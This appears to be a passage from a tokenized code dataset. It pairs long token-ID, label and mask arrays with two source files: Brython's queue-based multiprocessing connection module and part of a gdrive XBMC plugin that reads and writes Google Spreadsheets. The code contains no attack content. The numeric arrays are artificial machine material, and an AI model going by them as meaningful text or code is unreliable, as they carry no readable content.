1056, 12, 8663, 304, 267, 408, 9417, 12, 2222, 13, 19170, 2455, 402, 376, 8663, 1041, 267, 372, 469, 288, 283, 6251, 356, 469, 355, 283, 344, 356, 8663, 14, 362, 360, 344, 659, 355, 283, 354, 356, 8663, 14, 362, 360, 2918, 63, 354, 659, 355, 283, 4614, 356, 291, 423, 362, 63, 4614, 8, 1069, 12, 8663, 459, 344, 1105, 288, 789, 267, 789, 339, 347, 10093, 8, 277, 12, 1056, 12, 8663, 304, 267, 408, 36, 1841, 1672, 2455, 402, 282, 2849, 8663, 1041, 267, 1067, 275, 1056, 14, 2314, 459, 1237, 25330, 14, 1100, 418, 267, 3341, 275, 8663, 14, 362, 360, 6251, 63, 2343, 358, 267, 340, 3341, 26, 288, 3341, 275, 1211, 1332, 1053, 459, 498, 995, 1242, 459, 585, 1105, 367, 1242, 315, 3341, 9, 267, 587, 26, 288, 3341, 275, 1052, 398, 4843, 63, 8022, 275, 8663, 14, 362, 360, 3790, 63, 8022, 297, 3073, 398, 340, 8663, 459, 6251, 63, 466, 63, 344, 418, 436, 8663, 14, 362, 360, 6251, 63, 466, 735, 288, 8663, 63, 466, 275, 8663, 459, 6251, 63, 466, 2545, 354, 418, 267, 587, 26, 288, 8663, 63, 466, 275, 8663, 459, 6251, 63, 466, 63, 344, 418, 398, 8663, 63, 807, 275, 469, 288, 283, 344, 356, 8663, 14, 362, 360, 344, 659, 288, 283, 890, 356, 8663, 14, 362, 360, 890, 659, 288, 283, 11856, 63, 2619, 356, 8663, 14, 362, 360, 11856, 63, 2619, 659, 288, 283, 3966, 63, 292, 356, 8663, 14, 362, 360, 3966, 63, 292, 659, 288, 283, 1205, 356, 8663, 14, 362, 360, 1205, 659, 288, 283, 354, 356, 8663, 14, 362, 360, 2918, 63, 354, 659, 288, 283, 1802, 356, 8663, 14, 362, 360, 2918, 63, 1802, 659, 288, 283, 1715, 63, 344, 356, 8663, 14, 362, 360, 1715, 63, 344, 659, 288, 283, 1102, 356, 8663, 14, 362, 360, 1102, 659, 288, 283, 4753, 63, 344, 356, 8663, 14, 362, 360, 4753, 63, 344, 659, 288, 283, 6251, 63, 1200, 63, 344, 356, 8663, 14, 362, 360, 6251, 63, 1200, 63, 344, 659, 288, 283, 6251, 63, 2625, 356, 8663, 14, 362, 360, 6251, 63, 2625, 659, 288, 283, 3790, 63, 1985, 356, 8663, 14, 362, 360, 3790, 63, 1985, 659, 288, 283, 2343, 356, 3341, 12, 288, 283, 6251, 63, 466, 356, 8663, 63, 466, 12, 288, 283, 2405, 63, 466, 356, 8663, 63, 466, 12, 288, 283, 4614, 356, 291, 423, 362, 63, 4614, 8, 1069, 12, 8663, 459, 344, 3815, 288, 283, 374, 63, 3455, 356, 8663, 14, 362, 360, 374, 63, 3455, 659, 288, 283, 3790, 63, 8022, 356, 4843, 63, 8022, 12, 267, 789, 398, 291, 14, 873, 63, 24155, 63, 1927, 63, 807, 8, 1069, 12, 8663, 63, 807, 12, 8663, 9, 398, 340, 1067, 14, 374, 63, 2113, 26, 288, 8663, 63, 807, 459, 6251, 63, 1000, 63, 344, 418, 275, 8663, 14, 362, 360, 6251, 63, 1000, 63, 344, 358, 267, 372, 791, 6251, 356, 8663, 63, 807, 93, 339, 768, 2330, 14, 2768, 6437, 14, 24155, 63, 765, 480, 18, 14, 18, 531, 272, 347, 1050, 63, 4753, 63, 4058, 63, 698, 8, 277, 12, 8663, 63, 807, 12, 8663, 304, 267, 8663, 63, 807, 459, 4753, 63, 4058, 418, 275, 8663, 14, 362, 360, 4753, 63, 4058, 358, 339, 768, 2330, 14, 2768, 6437, 14, 24155, 63, 765, 480, 18, 14, 20, 531, 272, 347, 1050, 63, 20249, 63, 923, 63, 955, 8, 277, 12, 8663, 63, 807, 12, 8663, 304, 267, 8663, 63, 807, 459, 20249, 63, 923, 63, 344, 418, 275, 8663, 14, 362, 8, 288, 283, 20249, 63, 923, 63, 344, 358, 267, 8663, 63, 807, 459, 1365, 63, 67, 458, 3023, 63, 1114, 63, 344, 418, 275, 8663, 14, 362, 8, 288, 283, 1365, 63, 67, 458, 3023, 63, 1114, 63, 344, 358, 339, 768, 2330, 14, 2768, 6437, 14,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Jionglun/-w16b_test
static/Brython3.1.1-20150328-091302/Lib/multiprocessing/dummy/connection.py
707
3049
# # Analogue of `multiprocessing.connection` which uses queues instead of sockets # # multiprocessing/dummy/connection.py # # Copyright (c) 2006-2008, R Oudkerk # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of author nor the names of any contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # __all__ = [ 'Client', 'Listener', 'Pipe' ] from queue import Queue families = [None] class Listener(object): def __init__(self, address=None, family=None, backlog=1): self._backlog_queue = Queue(backlog) def accept(self): return Connection(*self._backlog_queue.get()) def close(self): self._backlog_queue = None address = property(lambda self: self._backlog_queue) def __enter__(self): return self def __exit__(self, exc_type, exc_value, exc_tb): self.close() def Client(address): _in, _out = Queue(), Queue() address.put((_out, _in)) return Connection(_in, _out) def Pipe(duplex=True): a, b = Queue(), Queue() return Connection(a, b), Connection(b, a) class Connection(object): def __init__(self, _in, _out): self._out = _out self._in = _in self.send = self.send_bytes = _out.put self.recv = self.recv_bytes = _in.get def poll(self, timeout=0.0): if self._in.qsize() > 0: return True if timeout <= 0.0: return False self._in.not_empty.acquire() self._in.not_empty.wait(timeout) self._in.not_empty.release() return self._in.qsize() > 0 def close(self): pass def __enter__(self): return self def __exit__(self, exc_type, exc_value, exc_tb): self.close()
agpl-3.0
[ 3, 199, 3, 1626, 2548, 310, 402, 658, 25725, 14, 2105, 64, 1314, 4440, 21366, 3140, 402, 18772, 199, 3, 199, 3, 12866, 15, 5869, 15, 2105, 14, 647, 199, 3, 199, 3, 1898, 334, 67, 9, 8315, 13, 9300, 12, 820, 593, 1181, 2570, 75, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 199, 3, 787, 7647, 26, 199, 3, 199, 3, 413, 14, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 499, 14, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 259, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 650, 14, 11443, 314, 536, 402, 4132, 6590, 314, 1561, 402, 1263, 8417, 1443, 506, 199, 3, 259, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 642, 2032, 199, 3, 259, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 17632, 2401, 6483, 298, 1179, 2281, 2, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 199, 3, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 199, 3, 9315, 9706, 14, 221, 1621, 4825, 6461, 7000, 2334, 17632, 1549, 6483, 6262, 7024, 199, 3, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 199, 3, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 199, 3, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 199, 3, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 199, 3, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 199, 3, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 199, 3, 9712, 9784, 14, 199, 3, 199, 199, 363, 452, 363, 275, 359, 283, 3041, 297, 283, 10464, 297, 283, 11867, 7, 1622, 199, 199, 504, 4126, 492, 10703, 421, 199, 32337, 275, 359, 403, 61, 421, 199, 533, 491, 7938, 281, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 2287, 29, 403, 12, 9614, 29, 403, 12, 1771, 793, 29, 17, 304, 267, 291, 423, 31267, 63, 1825, 275, 10703, 8, 31267, 9, 339, 347, 4729, 8, 277, 304, 267, 372, 8113, 2031, 277, 423, 31267, 63, 1825, 14, 362, 1012, 339, 347, 4002, 8, 277, 304, 267, 291, 423, 31267, 63, 1825, 275, 488, 339, 2287, 275, 3324, 8, 2734, 291, 26, 291, 423, 31267, 63, 1825, 9, 339, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 3178, 63, 5842, 304, 267, 291, 14, 1600, 342, 421, 199, 318, 6810, 8, 1562, 304, 272, 485, 262, 12, 485, 548, 275, 10703, 1062, 10703, 342, 272, 2287, 14, 524, 1332, 63, 548, 12, 485, 262, 430, 272, 372, 8113, 1547, 262, 12, 485, 548, 9, 421, 199, 318, 16850, 8, 68, 26646, 29, 549, 304, 272, 282, 12, 330, 275, 10703, 1062, 10703, 342, 272, 372, 8113, 8, 65, 12, 330, 395, 8113, 8, 66, 12, 282, 9, 421, 199, 533, 8113, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 485, 262, 12, 485, 548, 304, 267, 291, 423, 548, 275, 485, 548, 267, 291, 423, 262, 275, 485, 262, 267, 291, 14, 2254, 275, 291, 14, 2254, 63, 2394, 275, 485, 548, 14, 524, 267, 291, 14, 7637, 275, 291, 14, 7637, 63, 2394, 275, 485, 262, 14, 362, 339, 347, 11271, 8, 277, 12, 2653, 29, 16, 14, 16, 304, 267, 340, 291, 423, 262, 14, 81, 890, 342, 690, 378, 26, 288, 372, 715, 267, 340, 2653, 2695, 378, 14, 16, 26, 288, 372, 756, 267, 291, 423, 262, 14, 1397, 63, 1667, 14, 8174, 342, 267, 291, 423, 262, 14, 1397, 63, 1667, 14, 2573, 8, 2593, 9, 267, 291, 423, 262, 14, 1397, 63, 1667, 14, 3221, 342, 267, 372, 291, 423, 262, 14, 81, 890, 342, 690, 378, 339, 347, 4002, 8, 277, 304, 267, 986, 339, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 3178, 63, 5842, 304, 267, 291, 14, 1600, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 1626, 2548, 310, 402, 658, 25725, 14, 2105, 64, 1314, 4440, 21366, 3140, 402, 18772, 199, 3, 199, 3, 12866, 15, 5869, 15, 2105, 14, 647, 199, 3, 199, 3, 1898, 334, 67, 9, 8315, 13, 9300, 12, 820, 593, 1181, 2570, 75, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 199, 3, 787, 7647, 26, 199, 3, 199, 3, 413, 14, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 499, 14, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 259, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 650, 14, 11443, 314, 536, 402, 4132, 6590, 314, 1561, 402, 1263, 8417, 1443, 506, 199, 3, 259, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 642, 2032, 199, 3, 259, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 17632, 2401, 6483, 298, 1179, 2281, 2, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 199, 3, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 199, 3, 9315, 9706, 14, 221, 1621, 4825, 6461, 7000, 2334, 17632, 1549, 6483, 6262, 7024, 199, 3, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 199, 3, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 199, 3, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 199, 3, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 199, 3, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 199, 3, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 199, 3, 9712, 9784, 14, 199, 3, 199, 199, 363, 452, 363, 275, 359, 283, 3041, 297, 283, 10464, 297, 283, 11867, 7, 1622, 199, 199, 504, 4126, 492, 10703, 421, 199, 32337, 275, 359, 403, 61, 421, 199, 533, 491, 7938, 281, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 2287, 29, 403, 12, 9614, 29, 403, 12, 1771, 793, 29, 17, 304, 267, 291, 423, 31267, 63, 1825, 275, 10703, 8, 31267, 9, 339, 347, 4729, 8, 277, 304, 267, 372, 8113, 2031, 277, 423, 31267, 63, 1825, 14, 362, 1012, 339, 347, 4002, 8, 277, 304, 267, 291, 423, 31267, 63, 1825, 275, 488, 339, 2287, 275, 3324, 8, 2734, 291, 26, 291, 423, 31267, 63, 1825, 9, 339, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 3178, 63, 5842, 304, 267, 291, 14, 1600, 342, 421, 199, 318, 6810, 8, 1562, 304, 272, 485, 262, 12, 485, 548, 275, 10703, 1062, 10703, 342, 272, 2287, 14, 524, 1332, 63, 548, 12, 485, 262, 430, 272, 372, 8113, 1547, 262, 12, 485, 548, 9, 421, 199, 318, 16850, 8, 68, 26646, 29, 549, 304, 272, 282, 12, 330, 275, 10703, 1062, 10703, 342, 272, 372, 8113, 8, 65, 12, 330, 395, 8113, 8, 66, 12, 282, 9, 421, 199, 533, 8113, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 485, 262, 12, 485, 548, 304, 267, 291, 423, 548, 275, 485, 548, 267, 291, 423, 262, 275, 485, 262, 267, 291, 14, 2254, 275, 291, 14, 2254, 63, 2394, 275, 485, 548, 14, 524, 267, 291, 14, 7637, 275, 291, 14, 7637, 63, 2394, 275, 485, 262, 14, 362, 339, 347, 11271, 8, 277, 12, 2653, 29, 16, 14, 16, 304, 267, 340, 291, 423, 262, 14, 81, 890, 342, 690, 378, 26, 288, 372, 715, 267, 340, 2653, 2695, 378, 14, 16, 26, 288, 372, 756, 267, 291, 423, 262, 14, 1397, 63, 1667, 14, 8174, 342, 267, 291, 423, 262, 14, 1397, 63, 1667, 14, 2573, 8, 2593, 9, 267, 291, 423, 262, 14, 1397, 63, 1667, 14, 3221, 342, 267, 372, 291, 423, 262, 14, 81, 890, 342, 690, 378, 339, 347, 4002, 8, 277, 304, 267, 986, 339, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 3178, 63, 5842, 304, 267, 291, 14, 1600, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
xmbcrios/xmbcrios.repository
plugin.video.gdrive/resources/lib/gSpreadsheets.py
7
23737
''' gdrive XBMC Plugin Copyright (C) 2013-2015 ddurdle This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' import os import re import urllib, urllib2 import cookielib import xbmc, xbmcaddon, xbmcgui, xbmcplugin import authorization import crashreport class gSpreadsheets: S_CHANNEL=0 S_MONTH=1 S_DAY=2 S_WEEKDAY=3 S_HOUR=4 S_MINUTE=5 S_SHOW=6 S_ORDER=7 S_INCLUDE_WATCHED=8 D_SOURCE=0 D_NFO=1 D_SHOW=2 D_SEASON=3 D_EPISODE=4 D_PART=5 D_WATCHED=6 D_DURATION=7 def __init__(self, service, addon, user_agent): self.addon = addon self.service = service # self.crashreport = crashreport # self.crashreport.sendError('test','test') self.user_agent = user_agent return # # returns a list of spreadsheets and a link to their worksheets # def getSpreadsheetList(self): url = 'https://spreadsheets.google.com/feeds/spreadsheets/private/full' spreadsheets = {} while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: if e.msg != '': xbmcgui.Dialog().ok(self.addon.getLocalizedString(30000), e.msg) xbmc.log(self.addon.getAddonInfo('getSpreadsheetList') + ': ' + str(e), xbmc.LOGERROR) self.crashreport.sendError('getSpreadsheetList',str(e)) response_data = response.read() response.close() for r in re.finditer('<title [^\>]+\>([^<]+)</title><content [^\>]+\>[^<]+</content><link rel=\'[^\#]+\#worksheetsfeed\' type=\'application/atom\+xml\' href=\'([^\']+)\'' , response_data, re.DOTALL): title,url = r.groups() spreadsheets[title] = url nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() if nextURL == '': break else: url = nextURL[0] return spreadsheets # # returns a list of spreadsheets contained in the Google Docs account # def createWorksheet(self,url,title,cols,rows): header = { 'User-Agent' : self.user_agent, 'Authorization' : 'GoogleLogin auth=%s' % self.authorization.getToken('wise'), 'GData-Version' : '3.0', 'Content-Type': 'application/atom+xml' } entry = '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gs="http://schemas.google.com/spreadsheets/2006"><title>A worksheetdadf</title><gs:rowCount>100</gs:rowCount><gs:colCount>20</gs:colCount></entry>' req = urllib2.Request(url, entry, header) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) return False response_data = response.read() response.close() return True # # returns a list of spreadsheets contained in the Google Docs account # def createRow(self,url, folderID, folderName, fileID, fileName): # header = { 'User-Agent' : self.user_agent, 'Authorization' : 'GoogleLogin auth=%s' % self.authorization.getToken('wise'), 'GData-Version' : '3.0', 'Content-Type': 'application/atom+xml'} header = { 'User-Agent' : self.user_agent, 'Authorization' : 'Bearer ' + self.service.authorization.getToken('auth_access_token'), 'GData-Version' : '3.0', 'Content-Type': 'application/atom+xml'} entry = '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended"> <gsx:source>S3E12 - The Red Dot.avi-0002</gsx:source><gsx:nfo>test.nfo</gsx:nfo><gsx:show>Seinfeld</gsx:show><gsx:season>3</gsx:season><gsx:episode>1</gsx:episode><gsx:part>1</gsx:part><gsx:watched>0</gsx:watched><gsx:duration>1</gsx:duration></entry>' req = urllib2.Request(url, entry, header) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) return False response_data = response.read() response.close() return True # # returns a list of spreadsheets contained in the Google Docs account # def createMediaStatus(self, url, package, resume='', watched='', updated=''): # header = { 'User-Agent' : self.user_agent, 'Authorization' : 'GoogleLogin auth=%s' % self.authorization.getToken('wise'), 'GData-Version' : '3.0', 'Content-Type': 'application/atom+xml'} header = { 'User-Agent' : self.user_agent, 'Authorization' : 'Bearer ' + self.service.authorization.getToken('auth_access_token'), 'GData-Version' : '3.0', 'Content-Type': 'application/atom+xml'} entry = '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended"> <gsx:folderid>'+str(package.folder.id)+'</gsx:folderid><gsx:foldername>'+str(package.folder.title)+'</gsx:foldername><gsx:fileid>'+str(package.file.id)+'</gsx:fileid><gsx:filename>'+str(package.file.title)+'</gsx:filename><gsx:nfo></gsx:nfo><gsx:order></gsx:order><gsx:watched>'+str(watched)+'</gsx:watched><gsx:resume>'+str(resume)+'</gsx:resume><gsx:updated>'+str(updated)+'</gsx:updated></entry>' req = urllib2.Request(url, entry, header) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) return False response_data = response.read() response.close() return True # # returns a list of spreadsheets contained in the Google Docs account # def createHeaderRow(self,url): header = { 'User-Agent' : self.user_agent, 'Authorization' : 'GoogleLogin auth=%s' % self.authorization.getToken('wise'), 'GData-Version' : '3.0', "If-Match" : '*', 'Content-Type': 'application/atom+xml'} entry = '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended"> <gsx:hours>1</gsx:hours></entry>' req = urllib2.Request(url, entry, header) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) return False response_data = response.read() response.close() return True # # returns a list of worksheets with a link to their listfeeds # def getSpreadsheetWorksheets(self,url): worksheets = {} while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: 